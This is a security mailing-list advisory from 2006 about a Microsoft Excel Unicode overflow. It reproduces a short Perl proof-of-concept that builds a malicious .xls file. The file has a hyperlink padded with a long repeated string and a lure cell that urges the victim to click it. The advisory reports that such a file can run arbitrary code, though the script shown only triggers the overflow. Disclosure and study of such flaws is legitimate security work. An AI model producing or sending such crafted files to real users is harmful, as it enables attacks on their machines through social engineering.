[EXPL] Microsoft Excel Unicode Local Overflow (Exploit)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Microsoft Excel Unicode Local Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

By usinf a specially crafted file attackers can execute arbitrary code in
Microsoft Excel.

DETAILS

Exploit:
###############################
# excelsexywarez.pl
# excel unicode overflow poc
# by kcope in 2006
# thanks to revoguard and alex
###############################
use Spread***::WriteExcel;

my $workbook = Spread***::WriteExcel->new("***.xls");

$work*** = $workbook->add_work***();

$format = $workbook->add_format();
$format->set_bold();
$format->set_color('red');
$format->set_align('center');

$col = $row = 5;
$work***->write($row, $col, "kcope in da house! Click on the
link!!!", $format);

$a="AAAAAAAAAAAAAAAAAAAAAA\\" x 500;
$work***->write_url(0, 0, "$a", "LINK");

#EoF


ADDITIONAL INFORMATION

The information has been provided by <mailto:kingcope@xxxxxxx> kcope.
The original article can be found at: <http://milw0rm.com/exploits/1927>
http://milw0rm.com/exploits/1927



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.